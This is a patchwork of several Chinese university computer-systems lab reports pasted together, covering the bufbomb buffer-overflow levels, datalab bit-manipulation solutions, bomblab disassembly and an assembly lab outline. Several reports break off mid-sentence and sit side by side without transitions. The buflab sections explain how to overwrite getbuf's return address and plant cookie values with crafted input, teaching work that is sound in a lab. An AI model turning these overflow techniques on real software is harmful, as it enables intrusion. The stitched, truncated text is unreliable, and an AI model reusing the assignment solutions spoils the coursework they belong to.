bufbomb实验报告
缓冲区溢出攻击实验
HUNAN UNIVERSITY课程实验报告题目: Buflab-handout学生姓名学生学号专业班级计科1403(一)实验环境联想ThinkPadE540 VM虚拟机ubuntu32位操作系统(二)实验准备1.使用tar xvf命令解压文件后,会有3个可执行的二进制文件bufbomb,hex2raw,makecookie。
bufbomb运行时会进入getbuf函数,其中通过调用Gets函数读取字符串。
要求在已知缓冲区大小的情况下对输入的字符串进行定制完成特定溢出操作。
从给的PDF文件中我们得知getbuf函数为:/ /Buffer size for getbuf#define NORMAL_BUFFER_SIZE 32int getbuf(){char buf[NORMAL_BUFFER_SIZE];Gets(buf);return 1;}这个函数的漏洞在于宏定义的缓冲区的大小为32,若输入的字符串长于31(字符串末尾结束符)则会导致数据的覆盖,从而导致一系列损失;在此实验中,我们正是利用这个漏洞来完成实验。
2. hex2raw可执行文件就是将给定的16进制的数转成二进制字节数据。
Makecookie是产生一个userid。
输入的相应的用户名产生相应的cookie值。
**我产生的cookie值为0x5eb52e1c,如下图所示:Level0:实验要求:从英文的PDF文件中的“Your task is to get BUFBOMB to execute the code for smoke when getbuf executes its return statement,rather than returning to test. Note that your exploit string may also corrupt parts of the stack not directlyrelated to this stage, but this will not cause a problem, since smoke causes the program to exit directly.”这句话看出实验让我们在test运行完后,不直接退出,而是跳到smoke函数处执行然后退出,这点很重要!(本人之前一直没有成功就是错在这儿)Test源码:void test(){int val;// Put canary on stack to detect possible corruptionvolatile int local = uniqueval();val = getbuf();// Check for corrupted stackif (local != uniqueval()) {printf("Sabotaged!: the stack has been corrupted\n");}else if (val == cookie) {printf("Boom!: getbuf returned 0x%x\n", val);validate(3);} else {printf("Dud: getbuf returned 0x%x\n", val);}}smoke源码:void smoke(){printf("Smoke!: You called smoke()\n");validate(0);exit(0);}对bufbomb函数进行反汇编并获取getbuf函数的反汇编代码:从上面的汇编代码中我们可以得知,lea指令把buf的指针地址(-0x28(%ebp))传给了Gets()。
计算机系统buflab实验报告
课程实验报告课程名称:计算机系统实验项目名称:buflab专业班级:计科1708姓名:学号:指导教师:完成时间:2019 年 5 月29 日信息科学与工程学院实验内容及操作步骤:Level 0:Level 0是要让test函数调用的getbuf函数返回时不返回到test函数而是返回到smoke函数。
先反汇编getbuf函数此时栈结构如下也就是说我们的输入要把smoke的地址覆盖掉返回地址smoke的反汇编也就是要输入44个任意字节,然后输入smoke的首地址即可,注意小端法输入,结果发现错误了,后来发现是因为0a是换行的ASCii码,所以会导致gets函数发生错误的识别,因此把0a 改成0b跳转至smoke函数第二行,然后成功Level 1:在level 1中有一个fizz函数,我们需要让test函数返回到fizz,并且我们需要把自己的cookie 作为传入参数。
这题的返回跳转函数部分与上一题一致。
Fizz函数如下getbuf函数反汇编Fizz函数反汇编可以看到,fizz函数的传入值就是ebp+8的位置,也就是说需要将ebp+8的位置改为cookie在getbuf函数返回时,执行leave指令(mov %ebp,%esp 和pop %ebp)和ret(pop %eip)指令后,esp的位置如图在fizz的反汇编中可以看到,需要将新的ebp定位,就需要将返回地址覆盖为fizz函数的第一行或者第二行,如果是第一行,那么先执行一个push %ebp (%esp-4),此时esp指向的是返回地址处,然后第二行mov %esp,%ebp就会把%ebp指向返回地址处,所以cookie的位置是返回地址的位置+8处而如果是要跳转到第二行,那么cookie的位置为返回地址的位置+12运行结果正确!Level 2:在level 2中,需要使程序跳转到自己写的一段反汇编代码,将全局变量global_val设置为cookie的值,随后再跳转到bang函数进行验证。
实验4 缓冲区溢出攻击实验
深圳大学实验报告课程名称:计算机系统(2)实验项目名称:缓冲区溢出攻击实验学院:计算机与软件学院专业:计算机科学与技术指导教师:罗秋明报告人:实验时间:2016年5月8日实验报告提交时间:2016年5月22日教务处制一、实验目标:1.理解程序函数调用中参数传递机制;2.掌握缓冲区溢出攻击方法;3.进一步熟练掌握GDB调试工具和objdump反汇编工具。
二、实验环境:1.计算机(Intel CPU)2.Linux64位操作系统(CentOs)3.GDB调试工具4.objdump反汇编工具三、实验内容本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。
我们仅给黑客(同学)提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。
程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过管卡!要求同学查看各关卡的要求,运用GDB调试工具和objdump反汇编工具,通过分析汇编代码和相应的栈帧结构,通过缓冲区溢出办法在执行了getbuf()函数返回时作攻击,使之返回到各关卡要求的指定函数中。
第一关只需要返回到指定函数,第二关不仅返回到指定函数还需要为该指定函数准备好参数,最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改。
实验代码bufbomb和相关工具(sendstring/makecookie)的更详细内容请参考“实验四缓冲区溢出攻击实验.p ptx”。
本实验要求解决关卡1、2、3,给出实验思路,通过截图把实验过程和结果写在实验报告上。
四、实验步骤和结果步骤1 返回到smoke()1.1 解题思路首先弄清楚getbuf()的栈帧结构,知道存放字符数组buf地址的单元和存放getbuf()返回地址的单元之间相差多少个字节。
假设两者之间相差x个字节。
然后找到smoke()函数的入口地址。
该值为4个字节。
再构造exploit.txt,前x个字节随意填,然后再填入4个字节的smoke()地址,注意是小端方式存储。
buflab-handout实验报告
课程实验报告
课程名称:
实验项目名称:buflab-handout
专业班级:
姓名:
学号:
指导教师:
完成时间:年月日
信息科学与工程学院
实验报告撰写说明
1.实验题目和目的
请从实验指导资料中获取。
2.实验步骤和内容
包括:
(1)本次实验的要求;
(2)源程序清单或者主要伪代码;
(3)预期结果;
(4)上机执行或调试结果:包括原始数据、相应的运行结果和必要的说明(截图);
3.实验体会
调试中遇到的问题及解决办法;若最终未完成调试,要试着分析原因;调试程序的心得与体会;对课程及实验的建议等。
华中科技大学计算机系统基础实验报告
课程实验报告课程名称:计算机系统基础专业班级:学号:姓名:指导教师:报告日期:2016年5月24 日计算机科学与技术学院目录实验1:数据表示1.1 实验概述本实验的目的是更好地熟悉和掌握计算机中整数和浮点数的二进制编码表示。
实验中,你需要解开一系列编程“难题”——使用有限类型和数量的运算操作实现一组给定功能的函数,在此过程中你将加深对数据二进制编码表示的了解。
实验语言:c; 实验环境: linux1.2 实验内容需要完成 bits.c 中下列函数功能,具体分为三大类:位操作、补码运算和浮点数操作。
1.3 实验设计源码如下:/** lsbZero - set 0 to the least significant bit of x* Example: lsbZero(0x87654321) = 0x87654320* Legal ops: ! ~ & ^ | + << >>* Max ops: 5* Rating: 1*/int lsbZero(int x) {//x右移一位再左移一位实现把最低有效位置0x = x>>1;x = x<<1;return x;}/** byteNot - bit-inversion to byte n from word x* Bytes numbered from 0 (LSB) to 3 (MSB)* Examples: getByteNot(0x12345678,1) = 0x1234A978* Legal ops: ! ~ & ^ | + << >>* Max ops: 6* Rating: 2*/int byteNot(int x, int n) {//x第n个字节每位都和1异或实现取反int y = 0xff;n = n<<3;y = y<<n;x = (x^y);return x;}/** byteXor - compare the nth byte of x and y, if it is same, return 0, if not, return 1* example: byteXor(0x12345678, 0x87654321, 1) = 1* byteXor(0x12345678, 0x87344321, 2) = 0* Legal ops: ! ~ & ^ | + << >>* Max ops: 20* Rating: 2*/int byteXor(int x, int y, int n) {//把x和y的第n个字节取出来异或,再转换为逻辑的0和1n = n<<3;x = x>>n;y = y>>n;x = x&(0xff);y = y&(0xff);return !!(x^y);}/** logicalAnd - x && y* Legal ops: ! ~ & ^ | + << >>* Max ops: 20* Rating: 3*/int logicalAnd(int x, int y) {//把x和y分别转化为逻辑的0和1,再相与x = (!(!x))&(!(!y));return x;}/** logicalOr - x || y* Legal ops: ! ~ & ^ | + << >>* Max ops: 20* Rating: 3*/int logicalOr(int x, int y) {//把x和y分别转化为逻辑的0和1,再相或x = (!(!x))|(!(!y));return x;}/** rotateLeft - Rotate x to the left by n* Can assume that 0 <= n <= 31* Examples: rotateLeft(0x87654321,4) = 0x76543218* Legal ops: ~ & ^ | + << >> !* Max ops: 25* Rating: 3*/int rotateLeft(int x, int n) {//先构造低n位为1,高(32-n)位为0的数z,x左移n位后的数加上x右移(32-n)位的数&z即可int z;z = ~(((1<<31)>>31)<<n);x = ((x>>(32+(~n+1)))&z)+(x<<n);return x;}/** parityCheck - returns 1 if x contains an odd number of 1's* Examples: parityCheck(5) = 0, parityCheck(7) = 1* Legal ops: ! ~ & ^ | + << >>* Max ops: 20* Rating: 4*/int parityCheck(int x) {//每次将数的低半数位与高半数位比较,再把y右移31位,最后把y转化为逻辑的0和1int y;y = x<<16;y = y^x;y = y^(y<<8);y = y^(y<<4);y = y^(y<<2);y = y^(y<<1);y = y>>31;return !(!y);}/** mul2OK - Determine if can compute 2*x without overflow* Examples: mul2OK(0x30000000) = 1* mul2OK(0x40000000) = 0** Legal ops: ~ & ^ | + << >>* Max ops: 20* Rating: 2*/int mul2OK(int x) {//把x第31位和30位分别和1做按位与,再异或,再和1异或int m;m = ((x>>31)&0x1)^((x>>30)&0x1);return m^0x1;}/** mult3div2 - multiplies by 3/2 rounding toward 0,* Should exactly duplicate effect of C expression (x*3/2),* including overflow behavior.* Examples: mult3div2(11) = 16* mult3div2(-9) = -13* mult3div2(1073741824) = -536870912(overflow)* Legal ops: ! ~ & ^ | + << >>* Max ops: 12* Rating: 2*/int mult3div2(int x) {//左移一位再+x即x*3,右移一位的时候,当y的最高位和最低位都为0时还要+1int y = (x<<1)+x;y = (y>>1)+(((y>>31)&1)&(((y<<31)>>31)&1));return y;}/** subOK - Determine if can compute x-y without overflow* Example: subOK(0x80000000,0x80000000) = 1,* subOK(0x80000000,0x70000000) = 0,* Legal ops: ! ~ & ^ | + << >>* Max ops: 20* Rating: 3*/int subOK(int x, int y) {//x的最高有效位和y的最高有效位不同且x和(x-y)的最高位不同才能判断溢出int m = (x>>31)&1;int n = (y>>31)&1;x = (m^n)&(m^(((x+(~y+1))>>31)&1));return (!x);}/** absVal - absolute value of x* Example: absVal(-1) = 1.* You may assume -TMax <= x <= TMax* Legal ops: ! ~ & ^ | + << >>* Max ops: 10* Rating: 4*/int absVal(int x) {//x最高位为0时就是x,最高位为1时是~x+1int y = x>>31;x = (y&(~x+1))+((~y)&x);return x;}/** float_abs - Return bit-level equivalent of absolute value of f for * floating point argument f.* Both the argument and result are passed as unsigned int's, but* they are to be interpreted as the bit-level representations of* single-precision floating point values.* When argument is NaN, return argument..* Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while* Max ops: 10* Rating: 2*/unsigned float_abs(unsigned uf) {int x=uf&(~(1<<31));if(x>0x7f800000){return uf;}else return x;}/** float_f2i - Return bit-level equivalent of expression (int) f* for floating point argument f.* Argument is passed as unsigned int, but* it is to be interpreted as the bit-level representation of a* single-precision floating point value.* Anything out of range (including NaN and infinity) should return * 0x80000000u.* Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while* Max ops: 30* Rating: 4*/int float_f2i(unsigned uf) {unsigned num=0x80000000;int x=(uf&0x007fffff)^0x00800000;int order=0;order=(uf&0x7f800000)>>23;if(order>158){return num;}if(order<127) return 0;else if(((uf>>31)&1)==1){if(order>150){return ~(x<<(order-150))+1;}else return ~(x>>(150-order))+1;}else{if(order>150) return x<<(order-150); else return x>>(150-order);}}1.4 实验过程编写源码,运行btest,得出实验结果。
Bomblab实验报告
课程实验报告课程名称:计算机系统原理实验实验项目名称: BombLab 专业班级:计科1501 姓名:马子垚学号: 201508010114 完成时间: 2017 年 4 月 19 日实验目的理解汇编语言,学会使用调试器实验原理二进制炸弹是作为一个目标代码文件提供给学生们的程序,运行时,它提示用户输入6个不同的字符串。
如果其中任何一个不正确,炸弹就会“爆炸”:打印出一条错误信息。
学生通过反汇编和逆向工程来确定是哪六个字符串,从而解除他们各自炸弹的雷管。
实验步骤及体会一、实验准备1、首先,由于虚拟机操作系统与windows系统相互独立,所以首先将Bomb.c及其相关文件存至百度云盘,然后在ubantu操作系统内下载至文件系统目录下的下载文件夹里面:2、输入./bomb试运行bomb.c文件时会提示权限不够:所以需要输入chmod+x+文件名的命令于改变文件或目录的访问权限。
用它控制文件或目录的访问权限。
在经过操作之后,获得了权限,程序可以正常运行了:3、由于bomb.c文件并没有蕴含许多能破解的信息,所以需要将其进行反汇编,详细操作如下:输入objdump –d bomb >bomb.txt将汇编代码输出到自动生成一个bomb.txt的文件里面,方便我们查看与分析代码:二、具体实验步骤及其分析试查看导出的bomb.txt,我发现总的文本里面分为很多段,其中就有Phase_1~Phase_6、Phase_defuse、Phase_secret以及其他相关函数的代码,所以我猜测每一段Phase代码就是我们需要破解的关卡,所以我将它们分别导出新建text文件,逐段分析。
Phase_1及其破解过程:知识点:string,函数调用,栈反汇编代码及其分析:08048f61 <phase_1>:8048f61: 55 push %ebp//压栈 ebp为栈指针 esp为栈指针。
push指令可以理解为两个步骤:1. subl $4 , %esp –栈底向下移一位2. movl %ebp ,(%esp)将ebp的值存入esp中8048f62: 89 e5 mov %esp,%ebp//把esp赋值给ebp8048f64: 83 ec 18 sub $0x18,%esp//esp指针下移0x18个字节8048f67: c7 44 24 04 5c a1 04 movl $0x804a15c,0x4(%esp)//取0x804a15c处的内容存入*(%esp+4)//前一段总的分析:初始化栈,push是压栈指令,ebp寄存器中的内容是栈底指针。
河北工业大学-汇编实验报告范文
河北工业大学-汇编实验报告范文汇编实验实验一顺序与分支程序设计一、实验目的1)掌握顺序程序设计方法。
2)掌握分支程序的结构及分支程序的设计,调试方法。
2)学习数据传送及算术和逻辑运算指令的用法。
3)熟悉在PC机上建立、汇编、连接、调试和运行汇编语言程序的过程。
二、实验内容1)有一字变量BUF1是以原码表示的有符号数,要求将其转换为反码和补码,分别存入BUF2和BUF3单元,并在屏幕上显示出来。
2)有两个两字节无符号数分别放在存储单元A、B起始的缓冲器中,求其和,结果放在A起始的缓冲区并在屏幕上显示。
相加若有进位不存入存储单元。
3)在BUF和BUF+1、BUF+2单元分别放有一个无符号字节型数,编程序将其中最大数存入MA某单元,并在屏幕上显示。
4)要求同上,只是比较的数为有符号数。
5)将1000H单元开始的10个字节数,采用奇偶校验,将奇数在前偶数在后仍存回原数据区。
本实验要求在DEBUG调试状态下进行,包括汇编程序、运行程序、检查结果。
6)从键盘上接收一位十进制数某,计算Y值,并以十六进制形式显示出来,Y按下列公式计算。
某2某(某3)2某2某(某4)Y2某(某5)2某/2(某6)7)从键盘上接收两个一位十六进制数某和Y,然后再输入一个A-D之间的一个字符,按下列要求计算。
a)b)c)d)三、实验设备PC机一台当输入字符为A,则计算某+Y,并以十六进制形式显示出来当输入字符为B,则计算|某-Y|,并以十六进制形式显示出来当输入字符为C,则计算某某Y,并以十六进制形式显示出来当输入字符为D,则计算某/Y,并以十六进制形式显示出来四、实验准备1)分析题目,将程序中的原始数据和最终结果的存取方法确定好。
2)画出流程图。
3)写出源程序。
4)对程序中的结果进行分析,并准备好上机调试与用汇编程序及汇编调试的过程。
五、实验步骤1)输入源程序。
2)汇编、连接程序,生成.E某E文件,执行文件,检查结果。
六、实验报告的要求1)列出源程序,说明程序的基本结构,包括程序中各部分的功能。
LAB boom实验报告
$0x804a23e,0x4(%esp),我们查看 0x804a23e 的值结
再根据语句 0x08048e50 <+34>: call 0x8048840 <__isoc99_sscanf@plt> 0x08048e55 <+39>: cmp $0x2,%eax 说明我们要输入两个整型数,下面的工作就是判断这两个整型数分别是什么。由代码 0x08048e6b <+61>: movl $0xe,0x8(%esp) 0x08048e73 <+69>: movl $0x0,0x4(%esp) 0x08048e7b <+77>: mov -0xc(%ebp),%eax 0x08048e7e <+80>: mov %eax,(%esp) 可以看出我们以第一个参数,0 ,14 为参数传入递归函数中而且返回值为 1,所以我们这时做的 事情就是分析 func4 函数,看第一个参数为多少时返回值能为 1,而第二个参数有代码 0x08048e8b <+93>: cmpl $0x1,-0x10(%ebp) 0x08048e8f <+97>: je 0x8048e9d <phase_4+111> 可知第二个参数就为 1。 下面分析 func4
我们希望它的返回值为 0 这样根据 0x1(%eax,%eax,1),%eax 返回值就是 1 了,最简单的一种情 况就是 14 和 8 经过运算后结果为 11 而参数 1 恰好等于 11 的情况,更复杂一些的情况就是它又 调用了 0x08048b97 <+55>: call 0x8048b60 <func4>,再由它的返回值再继续推理,所以 此题有多种答案,最简单的就是 11,1。
Bomblab实验报告
Bomblab实验报告关键信息项:1、实验目的:____________________________2、实验环境:____________________________3、实验步骤:____________________________4、遇到的问题及解决方法:____________________________5、实验结果:____________________________6、实验总结与体会:____________________________11 实验目的本次 Bomblab 实验的主要目的是通过对一系列炸弹程序的分析和破解,深入理解计算机程序的逻辑结构、内存布局以及调试技术,提高对汇编语言和逆向工程的实践能力。
111 具体目标包括1111 熟悉 GDB 调试工具的使用,能够设置断点、查看寄存器和内存内容。
1112 理解函数调用栈和程序的控制流程。
1113 通过分析汇编代码,找出炸弹程序中的逻辑漏洞并解除炸弹。
12 实验环境121 操作系统:使用具体操作系统名称操作系统。
122 编译工具:具体编译工具名称及版本。
123 调试工具:GDB 调试器具体版本。
13 实验步骤131 准备阶段获取 Bomblab 实验程序代码,并将其导入到开发环境中。
132 初步分析使用 objdump 等工具对程序进行反汇编,获取程序的汇编代码。
133 函数分析对关键函数进行逐步分析,理解其功能和逻辑。
134 断点设置在关键代码位置设置断点,以便在程序运行时进行观察和调试。
135 输入测试通过输入不同的测试数据,观察程序的反应和输出。
136 逐步推理根据程序的行为和调试信息,逐步推理出炸弹的解除条件。
14 遇到的问题及解决方法141 问题一在分析汇编代码时,对某些复杂的指令和跳转逻辑理解困难。
解决方法:查阅相关的汇编语言教材和资料,加深对指令的理解,并通过单步调试逐步理清跳转逻辑。
142 问题二输入测试数据时,无法准确判断哪些数据是有效的。
西北工业大学_计算机系统基础_实验报告_第3次
西北工业大学计算机系统基础实验报告姓名班级学号实验成绩指导教师实验名称缓冲区溢出攻击实验目的:通过使目标程序跳转到我们预定的位置执行,从而加深对IA-32函数调用规则和栈帧结构的理解。
实验工具:linux、gdb调试器、反汇编工具objdump、将16进制数转化为ASCII码的工具hex2raw。
实验要求:对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击,也就是设法通过造成缓冲区溢出来改变该可执行程序的运行内存映像,继而执行一些原来程序中没有的行为,例如将给定的字节序列插入到其本不应出现的内存位置等。
实验内容:一、Smoke(让目标程序调用smoke函数)本实验利用getbuf()函数不检查读取字符串长度的漏洞破坏该程序栈帧的返回地址从而达到对主程序造成破坏的目的。
首先用objdump指令反汇编生成bufbomb的汇编语言文本文件。
可以找到getbuf函数代码如下:080491f1 <getbuf>:80491f1: 55 push %ebp80491f2: 89 e5 mov %esp,%ebp80491f4: 83 ec 38 sub $0x38,%esp80491f7: 8d 45 d8 lea -0x28(%ebp),%eax80491fa: 89 04 24 mov %eax,(%esp)80491fd: e8 08 fb ff ff call 8048d0a <Gets>8049202: b8 01 00 00 00 mov $0x1,%eax8049207: c9 leave8049208: c3 ret位于<0x80491f7> 地址处代码为预读的字符串在栈帧创建了0x28(也就是40)字节的空间。
具体位置可以通过gdb在下一行设置断点查找 %eax 的值得到。
为了覆盖被存在返回地址上的值,我们需要读入超过系统默认40字节大小的字符串。
计算机系统基础II实验报告
学生实验报告册(理工类)课程名称:0专业班级:10学生学号: 160 学生姓名:所属院部:计指导教师:2018——2019学年第 1 学期实验报告书写要求实验报告原则上要求学生手写,要求书写工整。
若因课程特点需打印的,要遵照以下字体、字号、间距等的具体要求。
纸张一律采用A4的纸张。
实验报告书写说明实验报告中一至四项内容为必填项,包括实验目的和要求;实验仪器和设备;实验内容与过程;实验结果与分析。
各院部可根据学科特点和实验具体要求增加项目。
填写注意事项(1)细致观察,及时、准确、如实记录。
(2)准确说明,层次清晰。
(3)尽量采用专用术语来说明事物。
(4)外文、符号、公式要准确,应使用统一规定的名词和符号。
(5)应独立完成实验报告的书写,严禁抄袭、复印,一经发现,以零分论处。
实验报告批改说明实验报告的批改要及时、认真、仔细,一律用红色笔批改。
实验报告的批改成绩采用百分制,具体评分标准由各院部自行制定。
实验报告装订要求实验批改完毕后,任课老师将每门课程的每个实验项目的实验报告以自然班为单位、按学号升序排列,装订成册,并附上一份该门课程的实验大纲。
实验项目名称:缓冲区溢出攻击—基础篇实验学时: 4 同组学生姓名:无实验地点: 1116 实验日期: 11.26、12.3 实验成绩:批改教师:批改时间:一、实验目的和要求1、初步了解IA-32函数调用规则和栈结构。
2、基本掌握gcc、gdb以及objdump等工具的运用。
二、实验仪器和设备硬件环境:IA-32软件环境:Linux ubuntu14.04,C语言,gcc,gdb三、实验内容与过程1、实验内容对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击(buffer overflow attacks),也就是设法通过造成缓冲区溢出来改变可执行程序的运行内存映像,继而执行一些原来程序中没有的行为。
对目标可执行程序BUFBOMB分别完成5个难度递增的缓冲区溢出攻击。
FPGA实验报告
FPGA实验报告FPGA原理与应用实验报告专业名称: 通信工程班级学号:学生姓名:指导教师:1目录1 一位半加器的设计 ..................................................................... ........................................................................ .. 31.1 实验目的 ..................................................................... ........................................................................ . (3)1.2 实验内容 ..................................................................... ........................................................................ ....... 3 2 触发器的设计 ..................................................................... ........................................................................ (13)2.1 实验目的 ..................................................................... ........................................................................ (13)2.2 实验原理 ..................................................................... ........................................................................ (13)2.3 实验内容 ..................................................................... ........................................................................ ... 13 3 四位加法器的设计 ..................................................................... ........................................................................173.1 实验目的 ..................................................................... ........................................................................ (17)3.2 实验要求 ..................................................................... ........................................................................ (17)3.3 实验内容 ..................................................................... ........................................................................ ... 17 4 优先级8-3编码器的设计 ..................................................................... .. (19)4.1 实验目的 ..................................................................... ........................................................................ (19)4.2 实验要求 ..................................................................... ........................................................................ (19)4.3 实验内容 ..................................................................... ........................................................................ ... 19 5 增计数器的设计 ..................................................................... ........................................................................ .. 225.1 实验目的 ............................................................................................................................................. (22)5.2 实验要求 ..................................................................... ........................................................................ (22)5.3 实验内容 ..................................................................... ........................................................................ ... 22 6 七人表决器设计 ..................................................................... ........................................................................ .. 256.1 实验目的 ..................................................................... ........................................................................ (25)6.2 实验要求 ..................................................................... ........................................................................ (25)6.3 实验内容 ..................................................................... ............................................................................. 25 附录 ..................................................................... ........................................................................ . (28)21 一位半加器的设计 1.1 实验目的(1) 通过一个简单的一位半加器的设计,熟悉开发环境,掌握组合逻辑电路的设计方法。
bomb lab phase2理解
一、概述bomb lab phase2是计算机科学领域中一个非常重要的实验,通过对这个实验的深入研究和理解,可以对计算机系统的安全性和漏洞有更深刻的认识,从而为计算机安全领域的研究和应用提供重要的参考价值。
二、bomb lab phase2的背景1. bomb lab phase2是由某大学计算机科学系设计的一个实验项目,旨在通过完成一系列程序设计和分析的任务,来加深学生对计算机系统基本原理的理解和应用。
2. 该实验要求学生能够熟练掌握汇编语言、内存管理、逆向工程等相关知识,并能够在实践中运用这些知识解决实际问题。
三、bomb lab phase2的内容和要求1. 实验要求学生通过分析给定的程序代码和二进制文件,找出并修复其中的错误,使程序能够正确运行并输出目标字符串。
2. 学生需要在完成实验的过程中,深入理解程序执行的过程、内存的分配和管理、汇编指令的执行过程等内容,从而能够找出程序中的逻辑漏洞、缓冲区溢出、内存泄漏等问题,并加以解决。
3. 实验要求学生能够写出详细的分析报告,说明每一步的分析和修复过程,逻辑推理和数据验证的过程等。
四、bomb lab phase2的重要性和意义1. bomb lab phase2的完成能够对学生深入理解计算机系统和程序设计原理有很大的帮助,能够提高他们的动手能力和逻辑思维能力。
2. 通过对这个实验的理解和研究,能够为计算机系统的安全性和稳定性提供一定的参考,有助于发现和修复潜在的安全漏洞和问题。
3. 完成这个实验还能够培养学生的团队合作精神和问题解决能力,这是他们未来在计算机领域就业和研究中必不可少的能力。
五、总结bomb lab phase2是一个非常重要的实验项目,通过学生对这个实验的深入理解和研究,有助于提高他们的动手能力、逻辑思维能力和问题解决能力,对计算机系统的安全性和稳定性也有着一定的参考价值。
希望广大学生能够认真对待这个实验,努力完成并深刻理解其中的知识和技能。
深入理解计算机系统(CS:APP)缓冲区漏洞实验–BufferLab解析
深⼊理解计算机系统(CS:APP)缓冲区漏洞实验–BufferLab解析写在前⾯通过阅读官⽅⽂档,bufbomb 在运⾏时会调⽤ getbuff 函数:/* Buffer size for getbuf */#define NORMAL_BUFFER_SIZE 32int getbuf() {char buf[NORMAL_BUFFER_SIZE];Gets(buf);return 1;}缓冲区⼤⼩为32。
⼀旦输⼊的字符超出32个就会出现segmentation fault,导致程序出现异常。
⽽⽬标就是让程序出现异常,执⾏⼀些常规以外的代码。
这个实验就是利⽤程序溢出的漏洞来破解⼏个 level。
其中⽂件夹下的其他两个⼆进制⽂件hex2raw和makecookie分别⽤于将⼗六进制的字符数据转换成普通的字符串⽤于输⼊,和⽣成⼀个独⼀⽆⼆的cookie⽤于辨识作者。
根据官⽅⽂档,如果将答案存储在 exploit.txt 中,使⽤命令cat exploit.txt | ./hex2raw | ./bufbomb -u bill可以直接将字符串输⼊到 bomb 中验证答案。
⼀个更有效的⽅法是:./hex2raw < exploit.txt > exploit-raw.txt./bufbomb -u bovik < exploit-raw.txt⽂档中特别提醒到,每⼀个exploit.txt中的答案都应当以 0X0a 结尾,表⽰回车符结束输⼊。
在开始之前,使⽤objdump -d bufbomb > bufbomb.s来获取整个程序的汇编代码。
Level 0: Candle⽬标:执⾏ smoke(),⽽不是让 getbuf() 返回 1。
void test() {int val;/* Put canary on stack to detect possible corruption */volatile int local = uniqueval();val = getbuf();/* Check for corrupted stack */if (local != uniqueval()) {printf("Sabotaged!: the stack has been corrupted\n");}else if (val == cookie) {printf("Boom!: getbuf returned 0x%x\n", val);validate(3);}else {printf("Dud: getbuf returned 0x%x\n", val);}}在bufboms.s的第 363 ⾏找到了 smoke 的地址08048c18:再研究 test 的部分汇编代码:08048daa <test>:8048daa: 55 push %ebp8048dab: 89 e5 mov %esp,%ebp8048dad: 53 push %ebx8048dae: 83 ec 24 sub $0x24,%esp8048db1: e8 da ff ff ff call 8048d90 <uniqueval>8048db6: 89 45 f4 mov %eax,-0xc(%ebp)8048db9: e8 36 04 00 00 call 80491f4 <getbuf>8048dbe: 89 c3 mov %eax,%ebx8048dc0: e8 cb ff ff ff call 8048d90 <uniqueval>getbuff:080491f4 <getbuf>:80491f4: 55 push %ebp80491f5: 89 e5 mov %esp,%ebp80491f7: 83 ec 38 sub $0x38,%esp80491fa: 8d 45 d8 lea -0x28(%ebp),%eax80491fd: 89 04 24 mov %eax,(%esp)8049200: e8 f5 fa ff ff call 8048cfa <Gets>8049205: b8 01 00 00 00 mov $0x1,%eax804920a: c9 leave804920b: c3 ret可以看到lea把buf的指针地址(-0x28(%ebp))传给了Gets(),0x28也就是⼗进制的40个字节。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
return 1;
}
Getbuf函数反汇编:
(gdb) disassemble getbuf
Dump of assembler code for function getbuf:
0x08049262 <+0>:push %ebp
0x08049263 <+1>:mov %esp,%ebp
0x08048d52<+0>:push %ebp
0x08048d53 <+1>:mov %esp,%ebp
0x08048d55 <+3>:sub $0x18,%esp
0x08048d58 <+6>:mov0x804d10c,%eax// global_value地址
0x08048d5d <+11>:cmp0x804d104,%eax//cookie地址
0x08048dc4 <+21>:movl $0x804a2e0,0x4(%esp)
0x08048dcc <+29>:movl $0x1,(%esp)
0x08048dd3 <+36>:call 0x8048990 <__printf_chk@plt>
0x08048dd8 <+41>:movl $0x1,(%esp)
End of assembler dump.
可知val变量(即存储cookie的变量)存储的地址为fizz函数中的0x8(%ebp),而fizz函数开始的地址为0x08048daf。因此输入的前44个字节为非0a任意值,第45-48个字节存放fizz函数开始的地址,即af 8d 04 08,接下来4个字节也是非0a任意值,最后四个字节为cookie对应的数值,我用的cookie是young,查看young对应的数值为0x3246f559,最后四位为59 f5 46 32,因此根据这个栈的结构,level1输入的56个字节为:
设置断点查看cookie为young时buf的首地址为:0x55683778
根据这个栈的结构将修改global_value值的指令序列放在最前11位,再补上33个字节00,45-48字节存buf的首地址,49-52字节存bang函数的首地址。因此答案为:
0x08048d63 <+17>:jne 0x8048d8b <bang+57>
0x08048d65 <+19>:mov %eax,0x8(%esp)
0x08048d69 <+23>:movl $0x804a4ac,0x4(%esp)
0x08048d71 <+31>:movl $0x1,(%esp)
实验内容及操作步骤:
首先,使用objdump工具对bufbomb文件进行反汇编,输入指令objdump -d bufbomb > bomb.txt,生成bomb.txt文件。
bufbomb运行时会进入getbuf函数,其中通过调用Gets函数读取字符串。要求在已知缓冲区大小的情况下对输入的字符串进行定制完成特定溢出操作。
0x08048df2 <+67>:movl $0x1,(%esp)
0x08048df9 <+74>:call 0x8048990 <__printf_chk@plt>
0x08048dfe <+79>:movl $0x0,(%esp)
0x08048e05 <+86>:call 0x80488d0 <exit@plt>
Level 0:
要求:将getbuf函数执行return后执行test函数改为执行smoke函数。
Getbuf函数源码:
/* Buffer size for getbuf */
#define NORMAL_BUFFER_SIZE 32
int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
0x08048ddf <+48>:call 0x8049280 <validate>
0x08048de4 <+53>:jmp 0x8048dfe <fizz+79>
0x08048de6 <+55>:mov %eax,0x8(%esp)
0x08048dea <+59>:movl $0x804a4d4,0x4(%esp)
执行结果如下:
Level 2:
要求:将getbuf函数执行return后执行test函数改为执行bang函数。
Bang函数源码:
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
0x08048e1f <+21>:call 0x8048990 <__printf_chk@plt>
0x08048e24 <+26>:movl $0x0,(%esp)
0x08048e2b <+33>:call 0x8049280 <validate>
0x08048e30 <+38>:movl $0x0,(%esp)
